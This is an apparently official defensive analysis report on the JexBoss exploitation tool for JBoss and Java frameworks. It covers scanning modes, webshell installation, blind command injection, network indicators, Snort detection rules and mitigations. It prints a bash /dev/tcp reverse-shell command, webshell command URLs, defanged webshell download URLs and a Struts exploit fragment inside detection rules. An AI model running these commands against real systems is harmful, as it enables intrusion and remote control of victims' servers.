ANALYSIS REPORT

JexBoss – JBoss Verify and EXploitation Tool

Last Revised: November 08, 2018 **Alert Code:** AR18-312A

JexBoss

JexBoss is a tool used to test and exploit vulnerabilities in Java applications and platforms, including the JBoss AS/WildFly web server framework. JexBoss is written in the Python programming language using standard Python libraries. JexBoss is run from the command-line interface (CLI) and operated using a console interface. JexBoss was released as an open-source tool on GitHub in November 2014. JexBoss' author regularly added new features and exploits until March 2017.

Early versions of JexBoss specifically targeted JBoss AS versions 3–6. JexBoss has since evolved into a framework that can be used to test and exploit generic Java-related vulnerabilities over HyperText Transfer Protocol (HTTP).

In addition to testing JBoss AS for weak default configurations, JexBoss includes exploits for a variety of known vulnerabilities in Java-based frameworks, including some versions of Java Server Faces, Java Seam Framework, Remote Method Invocation over HTTP, Jenkins CLI, Remote Java Management Extension (JMX), and Apache Struts.

JexBoss also offers attackers the ability to target deserialization vulnerabilities in generic Java applications and servlets by allowing an attacker to specifically target Uniform Resource Locators (URLs) and `HTTP POST` parameters. This capability can help attackers customize their attacks against their target and exploit zero-day Java deserialization vulnerabilities.

JexBoss' ultimate goal is to provide the attacker with a means of executing arbitrary operating system (OS) commands on the target host. This is achieved by using one of the following mechanisms:

- **Installation of a webshell** – allows an attacker to submit OS commands to a particular HTTP URL and receive the output of the executed command in the HTTP response.
- **Blind command injection** – allows an attacker to submit OS commands as part of a packaged exploit for a specific vulnerability. The command will be executed, but the attacker will not see the output.
- **Establishment of a reverse shell** – both a webshell and a blind command injection can facilitate a third method of executing arbitrary OS commands: the establishment of a reverse shell. In the establishment of a reverse shell, the target initiates a Transmission Control Protocol (TCP) connection with the host and port of the attacker's choice, after which commands and command outputs are transferred over that new connection.

JBoss AS/WildFly

JBoss AS/WildFly is a Java-based web server framework that simplifies the process of installing, deploying, and maintaining servlets. JBoss AS was released in 2002 as JBoss AS version 3 and was under continued development until 2012, with the final release of JBoss AS 7.1.1. JBoss AS 7.1.1 was then rebranded under the community project WildFly, which remains under continued development and maintenance. Legacy versions of JBoss AS

(particularly versions 6 and older) have unpatched security vulnerabilities because they are no longer maintained. In August 2018, NCCIC's search via the Shodan search engine showed at least 28,060 web servers running outdated and unsupported JBoss AS software.

Reported Use of JexBoss

In March 2016, the Cisco Talos Intelligence Group (Talos) investigated a widespread ransomware campaign known as SamSam, which was targeting the healthcare industry.[1] <https://blog.talosintelligence.com/2016/03/samsam-ransomware.html> Talos identified numerous instances where the attackers used JexBoss to gain initial access to the target network through vulnerable versions of JBoss AS. The attackers then moved laterally to reach the intended ransomware targets. This campaign was the first widely reported use of JexBoss.

The April 2017 Symantec Internet Security Threat Report documented an intrusion by the Iran-based Chafer espionage group against a target in Turkey. In that intrusion, Chafer used JexBoss to identify and exploit a vulnerable version of JBoss AS, then moved laterally into other computers on the victim's network.[2] <https://www.symantec.com/content/dam/symantec/docs/reports/istr-22-2017-en.pdf>

These two instances illustrate threat actors' use of JexBoss to gain initial access to vulnerable internet-facing versions of JBoss AS. The threat actors leveraged their initial access to move deeper into a victim's network. The success of these exploits highlight the victims' weak web server sustainment practices (i.e., failure to upgrade to a more secure version of JBoss AS/Wildfly).

Although more commonly used by threat actors, cybersecurity hunt teams also use JexBoss to evaluate the security of Java web platforms. When a hunt team finds a vulnerable web server, they can leverage JexBoss to pivot into other systems on the target network, which provides a more comprehensive security evaluation.

Executing JexBoss

JexBoss can be run from most standard OSs. To show JexBoss' interface and analyze the tool's behavior, NCCIC ran JexBoss from an Ubuntu Linux system against a vulnerable version of JBoss AS 6.1.0 in a secured test environment.

When run without any command-line options, JexBoss' default behavior is to display a banner followed by a list of command-line option examples that demonstrate different ways to run JexBoss. JexBoss then exits without performing any further actions.

An attacker can supply command-line options to JexBoss to alter the tool's default behavior. A command-line option (hereafter known as an option) modifies the operation of a command. The command's program determines the effect of the option. Options follow the command name on the command line, separated by spaces. Some options require a value to specify variable parameters.

JexBoss Modes

An attacker can run JexBoss in one of three "modes:"

- **Standalone mode** – this is JexBoss' default mode, used to scan a single target;
- **Auto-scan mode** – this mode is used to identify and scan all possible targets in a network; and
- **File-scan mode** – this mode is used to scan targets specified in a file.

Each scan involves the attacker's computer connecting to the target computer to probe for vulnerabilities that JexBoss has the ability to exploit. After a scan completes, JexBoss will not automatically attempt to exploit a target unless given additional options or instructions.

STANDALONE MODE

The –mode standalone option instructs JexBoss to run in standalone mode, targeting a single host. Standalone mode is the default mode, so this option may be omitted from the command line.

Standalone mode requires either the `–host HOST` or the `–u HOST` option, the value specifying the target to scan. (The `–host HOST` and `–u HOST` options behave identically.) The `HOST` value indicates the target's network protocol, host (Internet Protocol [IP] address or domain name), and port. In the example shown in figure 1, JexBoss will scan the target host at IP address 127[.]0[.]0[.]1 using HTTP and TCP port 8080.

Note: for the remainder of this report, if two options behave identically, they will be shown with a slash ("/") between them. For example, the `-host HOST` and `-u HOST` options will be shown as `-host/-u HOST`.

</sites/default/files/publications/figure1.png>

Figure 1: JexBoss screenshot – specify target on the command-line

Note: all JexBoss screenshots in this report show JexBoss in standalone mode.

AUTO-SCAN MODE

The `-mode auto-scan` option instructs JexBoss to use auto-scan mode to identify and scan multiple hosts in a network block. This mode makes use of additional options:

- `-network NETWORK`,
- `-ports PORTS`, and
- `-results LOGFILENAME`.

`NETWORK` must be a block of IP addresses in Classless Internet Domain Routing notation. If this option is omitted, JexBoss will scan the /16 network block of the attacking computer's primary network interface. `PORTS` must be a comma-separated list of TCP ports. If this option is omitted, JexBoss will scan each IP address for TCP ports 80 and 8080, the standard HTTP ports.

JexBoss will scan the target block of IP addresses by attempting to connect to each IP address within the network block on each target TCP port. The results of the scan are written to the `LOGFILENAME` file, or `jexboss_auto_scan_results.log` if the -

`results` option is omitted.

FILE-SCAN MODE

The `-mode file-scan` option instructs JexBoss to use file-scan mode to scan multiple hosts specified in a file. This mode makes use of two additional options:

- `-file FILENAME`, and
- `-out LOGFILENAME`.

The `-file` option is required for file-scan mode. The contents of the `FILENAME` file must be a list of targets, one per line, in the same format as required by the `-host/-u HOST` option. JexBoss will attempt to scan each target specified in the `FILENAME` file. The results of the scan are written to the `LOGFILENAME` file, or to `jexboss_file_scan_results.log` if the `-out` option is omitted.

JexBoss Vulnerability Scan

JexBoss scans targets to test whether they are vulnerable to several known exploits (e.g., weak authentication, Java object deserialization flaws). JexBoss then displays a report with the test results, indicating whether the tested components are exposed, vulnerable, or secured (the indicator for a secured component is “OK”).

The results shown in figure 2 indicate that the JBoss admin-console is exposed (i.e., reachable by the attacker) and that the JBoss AS jmx-console and JMXInvokerServlet components are vulnerable to exploitation. The results identify the other applications and frameworks as safe from the JexBoss exploits.

Figure 2: JexBoss screenshot – vulnerability test results

Note: in a properly managed JBoss AS deployment, the admin-console should not be reachable from the internet; it should only be reachable from trusted internal hosts. However, even if an admin-console is only reachable from trusted internal hosts, dedicated attackers may be able to gain access to those internal hosts and attack the JBoss AS deployment from there.

JexBoss Exploitation

After scanning, JexBoss may perform exploitation of identified vulnerabilities depending upon the mode and options chosen.

When run in standalone mode, JexBoss will display the results of the scan as shown in figure 2 by default. JexBoss will then enter an interactive mode that asks the attacker for input. As shown in figure 3, JexBoss will ask the attacker whether it should try to run an automated exploitation of a specific vulnerability.

Figure 3: JexBoss screenshot – JexBoss asks permission to continue

If the attacker answers `yes`, JexBoss will attempt to exploit the vulnerability in admin-console.

Figure 4 illustrates JexBoss targeting the admin-console component to determine if the JBoss AS platform is configured with the default administrator username and password—which would be the case for an improperly managed JBoss AS deployment. In the exploit attempt shown in figure 4, JexBoss is attempting to log in to JBoss AS with default credentials. Alternatively, the attacker can specify the credentials JexBoss should attempt to use for the login, by using the `-J/--jboss-login` options.

Figure 4: JexBoss screenshot – interactive exploitation of the admin-console

Figure 4 indicates success for several phases of the exploit attempt. These phases are listed below.

- **Delivery:** JexBoss attempted login with default credentials; this attempt was sent to the JBoss AS admin-console.
  - The success of this attempt is indicated by the phrase: “Trying to perform authentication with default credentials”.
- **Exploitation:** JexBoss successfully logged in with default credentials.
  - The success of this attempt is indicated by the phrase: “Successfully logged in!”
- **Installation:** JexBoss successfully deployed the webshell code.
  - The success of this attempt is indicated by the phrase: “Successfully deployed code!”
- **Command and Control (C2):** JexBoss successfully executed OS commands.
  - The success of this attempt is indicated by the output of the `uname -a` command, which starts with “Linux 2f8c3354a075 4.13.0-38”.
- **Action on Objectives:** JexBoss successfully attempted this phase, as evident by the presence of the Shell> prompt.
  - The success of this attempt is indicated by the presence of the `Shell>` prompt. The attacker can use the interactive `Shell>` prompt to access the JexBoss webshell to execute OS commands and see the command output.

AUTOMATED EXPLOITATION

The auto-scan and file-scan modes of JexBoss will, by default, only perform the vulnerability scan and report the results. To exploit vulnerabilities when using these modes, the attacker must specify the `-A/--auto-exploit` option. The `-A/--auto-exploit` option can also be used in standalone mode, which will remove the yes or no questions asking whether to run automated exploitation, as well as the access to the webshell via the `Shell>` prompt.

WEBSHELL INSTALLATION

JexBoss can use a number of different exploits to attempt to install the JexBoss webshell (e.g., exploitation of the JMX console). Once installed, the webshell grants the attacker the ability to execute OS commands remotely by accessing the webshell URL over HTTP or HTTP Secure (HTTPS). The webshell also enables the attacker to receive the command output in response. See the Webshell Analysis section for a description of the JexBoss webshell's capabilities.

JexBoss will attempt to exploit the vulnerable component to upload the webshell code over the HTTP session and install the webshell into the web server. If this is not successful—and depending upon the vulnerability—JexBoss may attempt to exploit the vulnerability to induce the web server to download and install the webshell from the internet.
When used in standalone mode, JexBoss allows the attacker to use the webshell through the interactive `Shell>` prompt by default, as shown in figure 4.

BLIND COMMAND INJECTION

In cases where the installation of the webshell fails or is not possible, such as with application Java deserialization vulnerabilities, JexBoss will attempt to perform a blind command injection. A blind command injection sends a payload—created by the attacker, and which includes an OS command—to the vulnerable component. The vulnerable component processes the payload insecurely and executes the embedded OS command. After the embedded OS command is executed, the output of this execution is not returned to the attacker; therefore, the command injection occurs "blindly." The attacker can only determine whether the command was executed successfully by observing the effects of the command execution.

JexBoss automates the creation and delivery of the payload. When attempting a blind command injection, the default OS command JexBoss packages in the payload is a Linux-specific command to create a reverse shell (see the Reverse Shell section).

Alternatively, the attacker can specify a different OS command to be executed using the `--cmd CMD` option. As shown in figure 5, the `CMD` value is the alternate OS command.

Note: using the `--cmd` option in the auto-scan and file-scan modes requires using the `-A/--auto-exploit` option, otherwise the `--cmd` option will be ignored.

Figure 5: Specifying injected OS command with the `--cmd` option

In addition to the exploits against the vulnerable Java-based applications and frameworks shown in figure 2, JexBoss also supports the exploitation of arbitrary Java deserialization vulnerabilities with blind command injection attacks. To accomplish this, the attacker supplies a URL with the `-host/-u` option, an application parameter into which the payload will be injected with the `-H/--post-parameter PARAMETER` option, and the `-j/--app-unserialize` option.

REVERSE SHELL

A reverse shell is a common technique attackers use to execute commands interactively—with keyboard input and text output—through the target system's built-in command-line programs. JexBoss relays the input and output of the command-line program—usually through the Bash command language interpreter on Linux targets and cmd.exe on Windows targets—through a TCP connection initiated by the target to an IP address and a port of the attacker's choosing.

The JexBoss webshell includes the capability to establish a reverse shell. If the attacker issues the `jexremote=IP:PORT` command to the webshell, the webshell will initiate a connection to the specified IP address and TCP port using Java's Socket class and relay OS commands to and output from the command-line program through that connection. An example of the `jexremote` command is shown in figure 4.

Establishing a reverse shell can also be performed using blind command injection. The default OS command JexBoss packages in the exploit payload to create a reverse shell is

```
/bin/bash –i > /dev/tcp/IP/PORT 0&>1 2>&1
```

(where `IP` and `PORT` are specified by the attacker). This command redirects the standard input and output of the Bash shell through the victim Linux kernel's built-in TCP device. For blind command injection, JexBoss obtains the `IP` and `PORT` values either from the values supplied in the `-r/--reverse-host RHOST:RPORT` option, or by prompting the attacker for those values, as shown in figure 6.

Figure 6: JexBoss screenshot – JexBoss obtaining the `IP` and `PORT` for the reverse shell

To establish the TCP connection for the reverse shell, the computer with the IP address specified by the attacker must listen for connections on the specified TCP port. The program that listens for these connections must be able to accept user command-line input and display text output.

A common tool used to listen for reverse shell connections is Netcat. Figure 7 shows Netcat being used to listen for incoming connections on TCP port 4444. After the reverse shell is established, Netcat shows the shell prompt. The attacker then uses the reverse shell to display the `/etc/passwd` file to get a listing of user accounts on the target.

Figure 7: JexBoss screenshot - reverse shell using a Netcat listener

Attackers often use tools that are more sophisticated than Netcat, such as Meterpreter, to listen for reverse shell connections and control the reverse shell.

Observable Network Behavior

Security analysts can observe JexBoss' behavior through passive network traffic monitoring. The observable content depends upon the location of the organization's network traffic monitoring sensor. Communication between the attacker and the target can be observed at any in-line point—on either the attacker's local network or the target's local network. Figure 8 shows an organization's typical network sensor architecture, including a passive sensor monitoring the packets traversing the organization's primary ingress and egress points.

Figure 8: Typical organization's network sensor location

Version Checks

Upon its initial execution in any of the scan modes, JexBoss will attempt to retrieve its version information from the internet by reaching out to the following URL:

```
hxxp[:]//joaomatosf.com/rnp/releases.txt
```

Note: all URLs have been modified to prevent unintentional access.

If the version of JexBoss being used is not the latest version, the attacker will see a message recommending an upgrade.

Some versions of the JexBoss webshell include a version check function, which can determine if the webshell being used is the latest version. The target computer will retrieve the latest available webshell version number from the following URL:

```
hxxp[:]//webshell.jexboss.net/jsp_version.txt.
```

If the installed webshell is not the latest available version, the attacker will see an HTTP response that includes a message recommending the webshell be upgraded, once the attacker accesses the webshell.

Note: both of the JexBoss version checks detailed above will be evident to an affected organization. The organization will be able to see a lookup of the `joaomatosf.com` or `webshell.jexboss.net` domains in their Domain Name System (DNS) queries. These URLs will also be present in the organization's HTTP traffic. When these artifacts are found on an organization's network, they indicate JexBoss is present, which is a potential security risk and should be investigated.

The attacker using JexBoss can disable both version checks by using the `-D/--disable-check-updates` option.

Webshell Download

If the installation of the JexBoss webshell fails, JexBoss may attempt to induce the target server to download and install the JexBoss webshell from the internet at the following URL:

`hxxp[:]//www.joaomatosf.com/rnp/jexws4.war`

If the `hxxp[:]//www.joaomatosf.com/rnp/jexws4.war` domain or URL is present in an organization's DNS and HTTP logs, this indicates the JexBoss webshell may be present on the organization's network. Any organization that identifies this activity should investigate it.

Note: the filename of the webshell downloaded may change. The public webshell files on `hxxp[:]//www.joaomatosf.com` reveal multiple `jexws*.war` files, all of which have basically the same content, but with different MD5 checksums. Using different MD5 checksums allows older versions of JexBoss to induce the web server to download the latest version of the webshell.

Attack Communication Parameters

Communications between the attacker and target occur over HTTP or HTTPS, depending upon the target's web server configuration. HTTPS communications—typically over TCP port 443 or 8443—are encrypted. Organizations that use reverse proxies or some

configurations of web application firewalls may be able to observe decrypted network traffic between the perimeter device and the web server. Otherwise, the signs of an attack over HTTPS will only be observable in network appliance logs or on the web server itself.

Note: for the remainder of this report, unless otherwise noted, network traffic is assumed to be unencrypted HTTP, typically over port 80 or 8080.

When JexBoss starts, it randomly selects one User-Agent header value from the list in table 1 to use for all HTTP requests to the target web server. The User-Agent values listed in table 1 are legitimate, helping JexBoss traffic blend in with legitimate HTTP traffic. However, they are also dated, which may help organizations differentiate them from normal HTTP traffic.

Table 1: JexBoss User-Agent header value choices

HTTP User-Agent Header Value Choices
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

HTTP User-Agent Header Value Choices
Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0

Because JexBoss is written in Python, it is easy for sophisticated attackers to alter some of the static data sent to the target web server—including the User-Agent header value choices and parts of the exploits themselves—which would make signature-based detection ineffective.

Attack Phases

NCCIC has assessed that JexBoss operates at all seven steps in the Cyber Kill Chain framework. Due to the nature of the vulnerabilities and how they are exploited, JexBoss combines some of the steps, resulting in three high-level phases:

- Phase 1: Reconnaissance;
- Phase 2: Weaponization, Delivery, Exploitation, and Installation; and
- Phase 3: C2 and Action on Objectives.

PHASE 1: RECONNAISSANCE

In Phase 1, JexBoss determines which componentsof the target web server, if any, are exposed and vulnerable. JexBoss connects to the target web server multiple times and makes multiple HTTP requests—using the `GET` and `HEAD` methods—to gather this information (see figure 9).

Figure 9 : Typical Uniform Resource Identifier (URI) probe

Aside from the references to JexBoss in some URLs, most of these requests look legitimate or benign, with one notable exception, shown in figure 10.

Figure 10: JexBoss-specific Apache Struts 2 probe

The HTTP request shown in figure 10 almost exactly matches the exploit of the Apache Struts 2 vulnerability (CVE-2017-5638) published by Vex Woo in March 2017.[3] <https://www.exploit-db.com/exploits/41570/> However, JexBoss customizes two parts of this snippet by using `#gift` and `#giftarray`—instead of `#cmd` and `#cmds`—and by using `jexboss` as the command, which uniquely identifies the activity as being related to JexBoss.

Note: the HTTP request shown in figure 10 attempts to exploit the Apache Struts 2 vulnerability; however, there is no command execution in this phase—JexBoss is only trying to determine if an exploit is possible.

Network defenders can deploy intrusion detection system (IDS) signatures—such as those found in the Network IDS and IPS Signatures section—to detect JexBoss' initial reconnaissance activity. However, some of these signatures will fire on attempted exploits, not just successful exploits, which limits their value to the defender.

PHASE 2: WEAPONIZATION, DELIVERY, EXPLOITATION, AND INSTALLATION

JexBoss weaponizes exploits in different ways, depending upon the vulnerability being exploited. For example, to exploit the Apache Struts 2 vulnerability (CVE-2017-5638), JexBoss packages the exploit and the OS command to run in the Content-Type HTTP header value that will be delivered to the target web server in a `HTTP GET` request (see figure 10).

JexBoss delivers exploits to the target web server over HTTP using `GET` or `POST` requests for URIs and data specific to the vulnerabilities.

The exploits JexBoss uses are vulnerability-specific. For example, the attack against the admin-console exploits weak configurations of JBoss AS by simply attempting to log in with a username and password. Other attacks attempt to exploit Java deserialization vulnerabilities to install the JexBoss webshell or to execute OS commands.

Figure 11 shows an example of the weaponization of the JexBoss webshell delivered as a URI query parameter in an HTTP HEAD request, exploiting a vulnerability in the JMX Console (a component of JBoss AS). If this exploit is successful, the victim web server will install the JexBoss webshell.

Figure 11: Example of JexBoss webshell in URI query parameter

The packet dump shown in figure 12 is an example of the JexBoss webshell weaponized as a Java serialized object delivered to the JMX Invoker Servlet—another component of JBoss AS—in an `HTTP POST` request. The serialized object in this example (figure 11) begins with the bytes `\xAC\xED` at byte position `0x01c4`—452 bytes into the HTTP request.

Figure 12: Example of JexBoss webshell packaged in a Java serialized object

To test whether the installation of the webshell has succeeded, JexBoss will submit an `HTTP GET` request to the target web server for one of the following URLs:

- `hxxp[:]//victim/jexws4/jexws4.jsp`, or
- `hxxp[:]//victim/jexinv4/jexinv4.jsp`.

Packet number 22 in figure 13 indicates the test for successful webshell installation. Packet number 24, the HTTP response to packet number 22, is an `HTTP 200 OK` message that indicates the webshell installation was successful. An `HTTP 404 Not Found` message in response indicates that the webshell installation failed.

Figure 13: JexBoss webshell access packet list

PHASE 3: C2 AND ACTIONS ON OBJECTIVES

If JexBoss succeeds in installing the JexBoss webshell on the victim web server, the webshell will allow the attacker to issue OS commands for execution through `HTTP GET` requests as follows:

```
hxxp[:]//victim/jexws4/jexws4.jsp?ppp=<url-encoded-OS-command>
```

For example, the packet contents displayed in figure 14 show that the attacker issued the id OS command to the webshell. In figure 14, the victim web server provided the OS command execution output in the HTTP response.

Figure 14: JexBoss webshell command HTTP contents

When JexBoss is run in standalone mode, JexBoss will issue three specific commands—after the successful installation of the webshell—sequentially upon initial exploitation of a Linux server. These commands are listed in table 2.

Table 2: JexBoss' default initial Linux commands

Command	Description of Action
uname -a	Retrieves host information
cat /etc/issue	Retrieves Linux OS information
id	Determines the user under which commands will run

Security analysts can observe the attempted execution of these three commands in web server logs, even if the HTTP communication is encrypted with Transport Layer Security or Secure Sockets Layer. Analyzing web server logs for this activity is an additional way organizations can confirm the presence of JexBoss.

For vulnerabilities exploited through blind command injection, there is no installation step. JexBoss achieves the Cyber Kill Chain steps C2 and Actions on Objectives (i.e., Phase 3 in the Attack Phases section) by packaging OS commands directly in the exploit payload and delivering the payload to the vulnerable component; therefore, there is no distinction between Phase 2 and Phase 3 in blind command injection.

The partial packet hexdump shown in figure 15 is an example of the C2 step with blind command injection. In this example, JexBoss packages and delivers an OS command that attempts to establish a reverse shell, described in the Reverse Shell section.

Figure 15: KexBoss packet hexdump including reverse shell OS command

While a reverse webshell can help attackers achieve C2, it is also easy to detect. An organization’s network web servers do not typically make outbound connections to arbitrary internet hosts; therefore, connections like these would be a red flag for network

defenders. In the network capture shown in figure 16, the victim server has established a connection back to the attacker's system via TCP port 4444.

Figure 16: JexBoss reverse webshell establishment packet list

An unusual outbound connection—like the one illustrated in figure 16—would stand out to an experienced network defender; the network defender's awareness of the anomalous behavior increases the attacker's risk of detection. Many organizations choose to filter outbound connections, which would stop an attempt like the one illustrated in figure 16.

Attackers can execute JexBoss commands without a webshell or reverse webshell by using the `--cmd` option, as described in the Blind Command Injection section. A clever attacker could issue commands to perform complex tasks and exfiltrate data. For example, the attacker may create a script that collects data and sends it to another location on the victim network for later retrieval.

Webshell Analysis

If the JexBoss webshell is installed on the victim web server, JexBoss can access the webshell by issuing `HTTP GET` requests to the appropriate `.jsp` file (e.g., `jexws4/jexws4.jsp`), using the optional `ppp` query parameter, the value of which is used as the OS command to execute on the victim web server.

There are three main versions of the JexBoss webshell: the original version (November 30, 2014), version 2 (April 23, 2016), and version 4 (the current version). Each time a subsequent JexBoss version is created, the new version can be considered an upgrade over the previous version and offering additional capabilities, as described in table 3.

Table 3: JexBoss webshell functionality by version

Webshell Version	Functionality
Original (November 30, 2014)	■ Executes OS commands specified in the `ppp` HTTP query parameter using Java's `Runtime.exec()` method and returns the output of the command execution in the HTTP response ■ Requires the `User-Agent: jexboss` HTTP header
Version 2 (April 23, 2016)	■ Checks the webshell version if the check-updates HTTP header value is not set to false (see the Version Checks section) ■ Does not require the `User-Agent: jexboss` HTTP header ■ Executes OS command using Java's `Runtime.exec()` method › Uses `cmd.exe /C` for Windows OSs › Uses `/bin/bash -c` for non-Windows OSs

Version 4 (Current)	- If the ppp HTTP query parameter is not specified, checks for the `X-JEX` HTTP header and, if present, uses the value of that header as the OS command - If the OS command is in the format `jexremote=IP:PORT`, establishes a reverse shell (using `cmd.exe` or `/bin/bash`, depending upon the web server OS) with the specified IP address and port using Java's Socket class

JexBoss webshell version 2 is the latest version available on GitHub, as described in the Version Checks section. This version check uses a User-Agent HTTP header value that includes information about the attacker's webshell access: the host HTTP header value and the IP address of the attacker host. This collection of host and IP information indicates that JexBoss' author may leverage attackers' use of the tool to collect a list of attacking IPs and exploited servers.

The latest version of the webshell available on `joaomatosf[.]com` is version 4. At the time of this report's publication, NCCIC has been unable to acquire version 3 for analysis.

Summary

JBoss Verify and EXploitation tool (JexBoss) is an open-source tool used by cybersecurity hunt teams (sometimes referred to as "red teams") and auditors to conduct authorized security assessments. Threat actors use this tool maliciously to test and exploit vulnerabilities in JBoss Application Server (JBoss AS)—now WildFly—and a variety of Java applications and platforms. JexBoss automates all the phases of a cyberattack, making it a powerful and easy-to-use weapon in a threat actor's cyber arsenal.

This report provides a detailed analysis of JexBoss' functionality, along with detection, response, prevention, and mitigation recommendations.

Solution

NCCIC recommends a defense-in-depth approach to mitigating the risks of JexBoss.

Best Practices

The best way to defend against JexBoss is to ensure that servers are not vulnerable to the exploits it uses. The vulnerabilities exploited by JexBoss can also be exploited by other tools. Once an organization has remediated the vulnerabilities associated with JexBoss, the organization's servers will be less prone to other tools that leverage the same exploits.

Best practices include

- Keeping OSs, web servers, and applications up-to-date;
- Securing access to administrative consoles;
- Using non-privileged accounts with limited capabilities to run servers;
- Reviewing server logs to identify indications of a successful compromise; and
- Frequently testing organization systems and applications for the latest vulnerabilities via automated vulnerability scans.

Because JBoss AS is no longer supported by the vendor, organizations using JBoss AS should migrate their existing JBoss AS instances to the supported equivalent, such as WildFly or the JBoss Enterprise Application Platform. Because JexBoss can be used to exploit a variety of other Java-based frameworks (e.g., Apache Struts, Java Server Faces, Jenkins), users should keep these frameworks updated, or remove them if they are not necessary.

Detection Strategies

An organization's security operations team can monitor for attempted and successful JexBoss exploit attacks using a variety of methods. NCCIC recommends the following detection strategies:

- Update network IDS and IPS signatures.
- Analyze behavioral indicators.
- Analyze on-server artifacts.

Network IDS and IPS Signatures

Many organizations deploy Snort or Suricata IDSs in commercial appliances—or as standalone platforms on commodity hardware—and leverage signatures written by Snort, Emerging Threats, and others in the cybersecurity community. Tables 4 and 5 provide signatures developed by NCCIC and other organizations. Signatures that were created by outside organizations reference the appropriate signature identifier.

NCCIC assesses the Snort rules in table 4 to be high-confidence indicators of potentially dangerous JexBoss webshell network behavior.

Table 4: JexBoss webshell Snort signatures/rules

#	JexBoss Behavior	Detection Signature/Rule
1	Attempts to issue a command to the JexBoss webshell with the `ppp` query parameter	alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"JexBoss webshell command ppp submission"; flow:established,to_server; content:".jsp?ppp="; http_uri; fast_pattern:only; classtype:trojan-activity; reference:url,github.com/joaomatosf/jexboss; sid:X; rev:1;)
2	Attempts to issue a command to the JexBoss webshell with the `X-JEX` HTTP header field	alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"JexBoss webshell command X-JEX submission"; flow:established,to_server; content:"X-JEX"; http_header; fast_pattern:only; classtype:trojan-activity; reference:url,github.com/joaomatosf/jexboss; sid:X; rev:1;)

3	Attempts by the successfully exploited server to download the JexBoss webshell from the internet	alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"JexBoss webshell download"; flow:established,to_server; content:"rnp/jexws4.war"; http_uri; fast_pattern:only; classtype:trojan-activity; reference:url,github.com/joaomatosf/jexboss; sid:X; rev:1;)
4	CDNS queries for the JexBoss webshell version check and alternate download location	alert udp $HOME_NET any -> any 53 (msg:"DNS query for JexBoss alternate domain"; flow:to_server; byte_test:1,!&,0xF8,2; content:"|08|webshell|07|jexboss|03|net|00|"; fast_pattern:only; classtype:trojan-activity; reference:url,github.com/joaomatosf/jexboss; sid:X; rev:1;)

When run against real-world network traffic, NCCIC generated alerts for rule 1 in table 4 above. The URI pattern for these alerts was `/jexinv4/jexinv4.jsp?ppp=<cmd>`, where `<cmd>` was a long Linux command that tried to induce the server to download and execute a Linux webshell script from an internet location. This attempt to access the JexBoss

webshell was one of several unrelated `HTTP` requests from the same source IP to the same target IP, likely indicating scanning activity to determine if the server was already compromised by any of a number of tools, including JexBoss.

As noted in the Attacker to Victim Network Behavior section, an `HTTP 200 OK` message response from the server would indicate that the webshell was installed on the server. However, the response observed in the NCCIC environment was an `HTTP 302 Redirect` message, which instructed the client to repeat the request of `HTTPS`. NCCIC did not observe any such HTTPS traffic. Most likely the presumed scanning tool used to generate the HTTP traffic was not able to properly handle the `HTTP 302` response.

Table 5 provides the Snort rules that indicate JexBoss activity but do not necessarily indicate successful JexBoss exploitation. Rule 5 in table 5 below, alerts on traffic to the JexBoss author's domain, which—in addition to JexBoss webshells—contains non-JexBoss content.

Table 5: Snort signatures identifying JexBoss attempts

#	Network Activity	Detection Signature
1	DNS queries for the JexBoss author’s domain	alert udp $HOME_NET any -> any 53 (msg:"DNS query for JexBoss author domain joaomatosf.com"; flow:to_server; byte_test:1,!&,0xF8,2; content:"|0A|joaomatosf|03|com|00|"; fast_pattern:only; classtype:trojan-activity; reference:url,github.com/joaomatosf/jexboss; sid:X; rev:1;)

2	Detects the JexBoss-specific probe of the Apache Struts 2 vulnerability (CVE-2017-5638)	alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS any (msg: "JexBoss Apache Struts 2 Probe or exploit"; flow:established,to_server; content: "GET"; http_method; content: "(#giftarray=(#isnix?{'/bin/bash','-c',#gift}:{'cmd.exe','/c',#gift}))"; fast_pattern; classtype:trojan-activity; reference:url,github.com/joaomatosf/jexboss; sid: X; rev:1;)
3	The HTTP User-Agent header value specific to JexBoss (for the deprecated version 1 of the webshell)	alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:" JexBoss User-Agent"; flow:established,to_server; content: “GET”; http_method; content:"jexboss"; http_user_agent; fast_pattern:only; classtype:trojan-activity; reference:url,github.com/joaomatosf/jexboss; sid:X; rev:1;)

Behavior Analysis of Network Activity

The Snort signatures described in the Network IDS and IPS Signatures section may allow organizations to detect some JexBoss attacks. However, attackers attempting to use stealthier techniques may be able to tune their attacks to avoid detection from these signatures.

By analyzing the behavior surrounding the attack, either manually or by using automated tools, network defenders may be able to determine whether an attack has succeeded. NCCIC's recommended analysis methods include searching for the following:

- **Unusual outbound connection attempts from the server**
  - Unusual outbound connection attempts may indicate an attacker attempting to initiate a reverse webshell or exfiltrate data.
